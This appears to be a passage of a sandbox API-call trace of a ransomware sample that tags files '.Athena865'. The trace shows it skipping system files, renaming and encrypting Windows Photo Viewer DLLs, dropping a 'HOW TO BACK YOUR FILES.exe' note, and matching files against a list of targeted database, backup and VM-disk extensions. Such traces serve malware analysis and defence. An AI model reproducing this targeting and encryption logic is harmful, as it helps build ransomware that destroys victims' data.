CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.516] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.516] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10bf00, lpName=0x0) returned 0x154 [0041.517] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10bf00) returned 0x2d50000 [0041.561] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.562] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.562] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.562] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0041.572] CloseHandle (hObject=0x154) returned 1 [0041.572] CloseHandle (hObject=0x17c) returned 1 [0041.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.601] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="windows") returned -1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="bootmgr") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="temp") returned -1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="pagefile.sys") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="boot") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ids.txt") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ntuser.dat") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="perflogs") returned 1 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="MSBuild") returned 1 [0041.601] lstrlenW (lpString="PhotoBase.dll") returned 13 [0041.601] lstrcpyW (in: lpString1=0x241e894, lpString2="PhotoBase.dll" | out: lpString1="PhotoBase.dll") returned="PhotoBase.dll" [0041.601] lstrlenW (lpString="PhotoBase.dll") returned 13 [0041.601] lstrlenW (lpString="Athena865") returned 9 [0041.601] lstrcmpiW (lpString1="oBase.dll", lpString2="Athena865") returned 1 [0041.601] lstrlenW (lpString=".dll") returned 4 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".dll") returned 1 [0041.601] lstrlenW (lpString=".lnk") returned 4 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".lnk") returned 1 [0041.601] lstrlenW (lpString=".ini") returned 4 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".ini") returned 1 [0041.601] lstrlenW (lpString=".sys") returned 4 [0041.601] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".sys") returned 1 [0041.601] lstrlenW (lpString="PhotoBase.dll") returned 13 [0041.601] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\PhotoBase.dll.Athena865") returned 61 [0041.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoBase.dll" (normalized: "c:\\program files\\windows photo viewer\\photobase.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoBase.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photobase.dll.athena865"), dwFlags=0x1) returned 1 [0041.602] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoBase.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photobase.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50688) returned 1 [0041.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.603] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.603] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.603] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.604] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc900, lpName=0x0) returned 0x154 [0041.608] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc900) returned 0x100000 [0041.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.611] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.611] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.612] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.613] CloseHandle (hObject=0x154) returned 1 [0041.613] CloseHandle (hObject=0x17c) returned 1 [0041.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.615] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="windows") returned -1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="bootmgr") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="temp") returned -1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="pagefile.sys") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="boot") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ids.txt") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ntuser.dat") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="perflogs") returned 1 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="MSBuild") returned 1 [0041.615] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0041.615] lstrcpyW (in: lpString1=0x241e894, lpString2="PhotoViewer.dll" | out: lpString1="PhotoViewer.dll") returned="PhotoViewer.dll" [0041.615] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0041.615] lstrlenW (lpString="Athena865") returned 9 [0041.615] lstrcmpiW (lpString1="iewer.dll", lpString2="Athena865") returned 1 [0041.615] lstrlenW (lpString=".dll") returned 4 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".dll") returned 1 [0041.615] lstrlenW (lpString=".lnk") returned 4 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".lnk") returned 1 [0041.615] lstrlenW (lpString=".ini") returned 4 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".ini") returned 1 [0041.615] lstrlenW (lpString=".sys") returned 4 [0041.615] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".sys") returned 1 [0041.615] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0041.616] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.Athena865") returned 63 [0041.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll.athena865"), dwFlags=0x1) returned 1 [0041.616] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1727488) returned 1 [0041.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.617] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.617] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a5f00, lpName=0x0) returned 0x154 [0041.619] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a5f00) returned 0x2d50000 [0041.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.700] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.700] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.700] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0041.720] CloseHandle (hObject=0x154) returned 1 [0041.720] CloseHandle (hObject=0x17c) returned 1 [0041.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.754] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0041.754] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0041.754] ReleaseMutex (hMutex=0xec) returned 1 [0041.754] CloseHandle (hObject=0xec) returned 1 [0041.754] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Portable Devices" | out: lpString1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0041.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f000 | out: hHeap=0x4f0000) returned 1 [0041.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c458 | out: hHeap=0x4f0000) returned 1 [0041.754] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41 [0041.754] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2E2746FB68096353DEF85E480A4429BF") returned 0xec [0041.755] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0041.755] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Portable Devices" | out: lpString1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0041.755] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0041.755] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 0 [0041.755] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows portable devices\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0041.755] GetLastError () returned 0x0 [0041.755] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0041.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0041.755] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0041.756] CloseHandle (hObject=0xf4) returned 1 [0041.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.756] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0041.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0041.756] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.756] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.756] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0041.756] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.757] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.757] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.757] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0041.757] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0041.757] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbba7a650, ftCreationTime.dwHighDateTime=0x1d565ff, ftLastAccessTime.dwLowDateTime=0x62cba380, ftLastAccessTime.dwHighDateTime=0x1d5736d, ftLastWriteTime.dwLowDateTime=0x62cba380, ftLastWriteTime.dwHighDateTime=0x1d5736d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bentmanually.exe", cAlternateFileName="BENTMA~1.EXE")) returned 1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2=".") returned 1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="..") returned 1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="windows") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="bootmgr") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="temp") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="pagefile.sys") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="boot") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="ids.txt") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="ntuser.dat") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="perflogs") returned -1 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2="MSBuild") returned -1 [0041.757] lstrlenW (lpString="bentmanually.exe") returned 16 [0041.757] lstrcpyW (in: lpString1=0x241e89c, lpString2="bentmanually.exe" | out: lpString1="bentmanually.exe") returned="bentmanually.exe" [0041.757] lstrlenW (lpString="bentmanually.exe") returned 16 [0041.757] lstrlenW (lpString="Athena865") returned 9 [0041.757] lstrcmpiW (lpString1="ually.exe", lpString2="Athena865") returned 1 [0041.757] lstrlenW (lpString=".dll") returned 4 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2=".dll") returned 1 [0041.757] lstrlenW (lpString=".lnk") returned 4 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2=".lnk") returned 1 [0041.757] lstrlenW (lpString=".ini") returned 4 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2=".ini") returned 1 [0041.757] lstrlenW (lpString=".sys") returned 4 [0041.757] lstrcmpiW (lpString1="bentmanually.exe", lpString2=".sys") returned 1 [0041.757] lstrlenW (lpString="bentmanually.exe") returned 16 [0041.757] lstrlenW (lpString="bak") returned 3 [0041.757] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0041.757] lstrlenW (lpString="ba_") returned 3 [0041.757] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0041.757] lstrlenW (lpString="dbb") returned 3 [0041.757] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0041.758] lstrlenW (lpString="vmdk") returned 4 [0041.758] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0041.758] lstrlenW (lpString="rar") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0041.758] lstrlenW (lpString="zip") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0041.758] lstrlenW (lpString="tgz") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0041.758] lstrlenW (lpString="vbox") returned 4 [0041.758] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0041.758] lstrlenW (lpString="vdi") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0041.758] lstrlenW (lpString="vhd") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0041.758] lstrlenW (lpString="vhdx") returned 4 [0041.758] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0041.758] lstrlenW (lpString="avhd") returned 4 [0041.758] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0041.758] lstrlenW (lpString="db") returned 2 [0041.758] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0041.758] lstrlenW (lpString="db2") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0041.758] lstrlenW (lpString="db3") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0041.758] lstrlenW (lpString="dbf") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0041.758] lstrlenW (lpString="mdf") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0041.758] lstrlenW (lpString="mdb") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0041.758] lstrlenW (lpString="sql") returned 3 [0041.758] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0041.758] lstrlenW (lpString="sqlite") returned 6 [0041.758] lstrcmpiW (lpString1="ly.exe", lpString2="sqlite") returned -1 [0041.758] lstrlenW (lpString="sqlite3") returned 7 [0041.758] lstrcmpiW (lpString1="lly.exe", lpString2="sqlite3") returned -1 [0041.758] lstrlenW (lpString="sqlitedb") returned 8 [0041.759] lstrcmpiW (lpString1="ally.exe", lpString2="sqlitedb") returned -1 [0041.759] lstrlenW (lpString="xml") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0041.759] lstrlenW (lpString="$er") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0041.759] lstrlenW (lpString="4dd") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0041.759] lstrlenW (lpString="4dl") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0041.759] lstrlenW (lpString="^^^") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0041.759] lstrlenW (lpString="abs") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0041.759] lstrlenW (lpString="abx") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0041.759] lstrlenW (lpString="accdb") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accdb") returned 1 [0041.759] lstrlenW (lpString="accdc") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accdc") returned 1 [0041.759] lstrlenW (lpString="accde") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accde") returned 1 [0041.759] 